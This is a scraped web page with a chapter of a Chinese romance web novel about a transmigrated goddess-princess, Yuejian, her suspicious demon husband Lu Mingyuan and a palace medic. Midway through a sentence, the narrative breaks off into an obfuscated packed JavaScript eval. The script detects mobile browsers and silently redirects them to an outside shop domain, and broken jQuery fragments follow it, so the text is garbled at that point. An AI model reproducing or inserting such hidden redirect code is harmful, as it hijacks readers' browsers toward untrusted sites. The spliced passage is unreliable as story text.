文趣网 > 其他小说 > 反派狐狸的驯养实录 > 15. 勾魂
    “少夫人。”沐子苓停下步子,躬身行礼。

    昨日下学后月见本打算与瑾辰仙君一同前往青崖涧,防着他与沐子苓按照原小说剧情相识,却被陆名渊搅了计划,现下也不知二人什么进度了,这事儿在她脑子里盘桓了一早上,搞得人心神不安。

    午膳后她便让小莲盯好院门口,见着了沐药官及时向她通报。

    “昨日......”她凑到沐子苓身旁,低声问道。

    “昨日少主并未起疑。”沐子苓见四处无人,小声接过话茬,“少夫人放心,少主还吩咐了,往后药一煎好便立刻送来。”

    “哦......那便好。”她愣了愣才反应过来沐子苓说得是火灵芝一事。

    拎着食盒,沐子苓生怕汤药凉了,颔首行礼后便欲向书房走去,却被月见再次拦了下来:“沐药官,昨日可曾去山谷里采药?”

    “少夫人怎知我昨日去寻落霞英了。”她想到昨日之事,难掩惋惜神情,“此花稀罕得很,为吸收落日余晖精华的灵草所开出得花,药书记载可治疗瘴气毒症,我前前后后进山谷已两月有余,可惜一直未能寻到此花。”

    月见一听,心下大惊,这不就是瑾辰仙君也在寻得花,着急问道:“那你昨日可有遇见什么人......?”

    “你何时与沐药官如此要好了?”背后传来低沉的声音,她猛然回首,只见陆名渊冷着一张脸站在台阶之上,垂眸看着她,似笑非笑道,“我怎不知,少夫人对药司处的事务这般感兴趣了,连山谷里见着了何人都要过问。”

    一阵风抚过面颊,院子里的桃花瓣簌簌落在回廊里,陆名渊说罢转身进了书房,下摆激得花瓣微微在地上打着旋儿。

    “沐药官还是快些进去吧。”她做了一个请的手势,讪讪说道,“莫让少主久等了。”

    人已走至赤檀木屏风后,月见仍盯着屏风上的金丝线发愣,站在书房外撇了撇嘴,腹诽道陆名渊这人真是小气,不过是拉着沐药官多说了几句,他便出来要人,真是片刻都等不及。

    书房内静得很,桌上燃着檀香,袅袅烟雾从香炉中徐徐升起,不浓不燥。

    沐子苓将食盒轻轻放置在檀木桌上,从中端出安神汤,手摸在碗边试了试,温热正好,说道:“少主,请用。”

    陆名渊没抬眼,接过汤药一饮而尽,而后眼神扫过刚拿出来的糖渍果脯,没有伸手的意思,淡淡说道:“下次不用备了。”

    沐子苓颔首,将果脯小碟连带汤碗一起放回了食盒中,便欲退下。

    陆名渊抬眼就见书房外一片粉色薄纱于门边若隐若现,说道:“沐药官,留步。”而后从抽屉中取出一个小巧精致的瓷盒子,不禁抬高了些音量,“昨日逛夜市正好瞧见,女掌柜说最近时兴杏色胭脂,想着定十分衬你便随手买了。”

    沐子苓看着胭脂瓷盒微微愣住了,目光渐渐上移,只见陆名渊正端坐着举着书在看,一双眸子冷冷清清,看不真切里面的情绪,她握着餐食盒木柄的手不自觉紧了紧,迟疑了会儿,还是上前拿走了胭脂:“多谢少主。”

    沐子苓垂头嘴角噙着笑,脸颊上了一层绯红,直直向院门口走去。

    月见瞧她娇羞如花的模样,猜想陆名渊定是把胭脂送出去了!

    “陆名渊。”她一溜小跑进了书房,一时高兴脱口而出他的姓名。

    陆名渊眼神匆匆地从门外收回,佯装在看书,好整以暇道:“何事?”

    “沐药官看上去很是开心,想必这礼定是送到了她心坎里。”

    “嗯。”陆名渊扫了一眼,眉头微皱,“她开心尚有理由,你这般开心做什么?”

    “因为你开心,所以我开心呀!”她天真地朝着陆名渊笑着说道。目光对视的一刹,他心中不自觉一紧,随即慌张地别过了脸。

    桌面上的拔丝红薯已下去了小半,她走过去端起瓷盘,说道:“凉了,不好吃了,我明日另做点心给你吧。”

    陆名渊一时愣了神,突然觉得今日她看起来格外招人喜欢。

    直直望去,她今日穿着桃粉色的百褶裙,裙角处浅浅印了几片绯色花瓣,腰间系着一条鹅黄色绸缎,垂下两节短短的流苏,随着她的步伐轻轻晃动。

    她今日定是特意打扮过,不然怎会如此可爱俏皮。

    话说回来,虽然恩爱夫妻间做几道吃食实为寻常之事,但月见贵为神族公主,即使对他如今用情至深,也不好每日下厨的,传出去实在有失身份。他放下书,轻声道:“我知你有这份心足矣,每日做点心大可不必,不用这般费神。”

    “要的,要的。”她猛地抬头,身子往前微倾,双手握拳,谁都别想剥夺她日赚五十铜币的机会,“明日我做的定比这个好吃百倍。”

    陆名渊怔怔看着她,没再驳回,她见对方现下心情不错,接着说道:“我嫁进临渊阁后每日无事可做,可否闲来在阁里做些杂活儿,你照市价给我日结可好?”

    陆名渊沉默着,不知她葫芦里究竟卖的什么药,难道转了性子真想体验老百姓的普通日子?本是想拒绝让她别瞎折腾的话,却再对上那双亮亮的眸子时又被吞了回去,他别过头,重新拿起书,说道:“你是临渊阁的女主人,想做什么我还能管你不成。”月见谢过他后一路小蹦出了书房。

    过了约莫一个时辰,黎熵进了书房,快步走到桌前,拱手正色道:“瑾辰仙君昨日于青崖涧山谷里欲寻的草药现已查实,为落霞英,可解瘴气毒症。”

    “他才接管琉璃渊几日便已想着替矿奴解毒症了,会这般好心?真不知是不是在逢场作戏。”他微眯起眼睛,长长的睫毛交织着,眼神里满是多疑,冷冷吩咐道,“落霞英,药司处那边也在找,此草不过扬汤止沸罢了,琉璃渊的瘴气一日不除,终究是徒劳。任他们去找吧,其余的继续盯着。”

    回完事儿的黎熵站在原地,观察了会儿陆名渊的脸色,思索后说道:“少主,属下观察少夫人刚刚在阁里四处闲转,时不时还上手抢下人的活儿,大家伙儿惊慌失措,您看这事儿......”他凑到陆名渊耳边,低声道,“少夫人会不会是神族派来的,借着联姻的名义探查临渊阁,属下需不需加紧戒备?”

    “神族是否真有心结盟,此事还待商榷。但无论与否,神族能人众多,断然不会把探查妖族这一重任交与月见来办。”陆名渊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625823|205923||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    低头想到什么,笑着摇摇头,“随她去吧,许是临渊阁的日子太过无趣,你按照市价跟她日结工钱即可。”

    “是,属下明白。”黎熵走出书房,已是黄昏时分,对着紫霞漫天的美景,他却愁眉不展。

    远处少夫人正拉着一位打扫婢女在角落里窃窃私语,不知二人在说什么。他长叹一声,神族这招真是狠毒,派如此貌美的仙女来勾引他家少主,不费一兵一卒,只一盘拔丝红薯便把人魂都勾去了。

    接连几日劳作下来,平日里喜欢熬夜追剧的月见愣是开始早睡早起了,每日卯时起床,辰时就歇下了,日子过得无比规律。

    这也是没有办法,最初小莲辰时喊她起床,可梳洗完毕用完早膳后,阁里的大小杂事儿早被婢女们干完了,哪儿还有她施展拳脚的地方,无奈只得跟着大家一起卯时起床。

    不过好在短短三日,她已赚了六百文铜钱,也不枉她日日这般辛劳了。

    这日她早早拉着小莲出门,采购了满满一竹框的食材,回来后便扎进了厨房开始捣鼓,说是要做道无比精致的饭后甜点。

    为了制作提拉米苏所需的的芝士乳酪夹层,她昨日下午便着手准备了,先将三升灵羊乳放置在寒玉缸中整整一夜,为了让乳脂凝成块儿。

    接着蒙了层细纱在石臼上,滤去乳清,便只剩下凝乳,再加上替代朗姆酒的百花酿,顺时针搅拌,直至乳膏细腻如脂。

    这几日月见早与婢女们打成一片,大家都不再惧怕这个神族来的少夫人,此刻在灶台边围了一圈,观摩着新奇的甜点制作,并且纷纷打起下手,有的忙着煮替代咖啡粉的灵苦茶,有的忙着做打底用的灵米膏片。

    厨房里一片其乐融融。

    远处九曲回廊上站着一人,着玄色暗纹锦袍,负着手,阳光斜照在他俊美的脸上,眉目清隽,线条干净利落,宛如画师精雕细琢,一笔一画不多不少。可眼神却深邃疏离,让人看不透他在想什么,薄唇微启:“你说,她今日又在捣鼓什么新鲜玩意儿?”

    “属下不敢妄自揣测。”

    “今日这阵仗,颇有要大干一番的架势。”陆名渊眼底漾开一层淡淡的笑意,转身迈开步子,“让她做好了,送来书房。”

    众人忙活了一下午,打开寒玉匣子的那一刻,一堆脑袋好奇地凑了过来,都想一睹这稀罕点心的风采。

    月见挖起一大勺仙草粉放进灵绢筛里,往点心上均匀地撒着,以此来代替可可粉,最后拿刀四四方方切了一小块放置在玉盘中,小莲弯下腰,看着点心的侧面,层层叠叠,很是精致。

    这些都是大家活儿一层层铺上去的,最底层是浸过苦灵茶的米糕片,上面是一层厚厚的雪白乳酪糊,往上再是一层糕片,然后再抹一层乳酪糊,整整齐齐。

    她临走前还不忘拿刀切了一半纷给大家伙儿,说是众人辛劳所得,尝尝也是应该的,婢女们纷纷笑开了。

    书房里,黎熵站在一侧磨着墨,陆名渊正站着练字,静心。最后一笔迟迟未抬起,浓墨早已洇到了下一张,黎熵见状喊了声“少主”,他才回过神,低头看了看,兴致乏乏搁下了笔,踱到窗前:“怎么还不来。”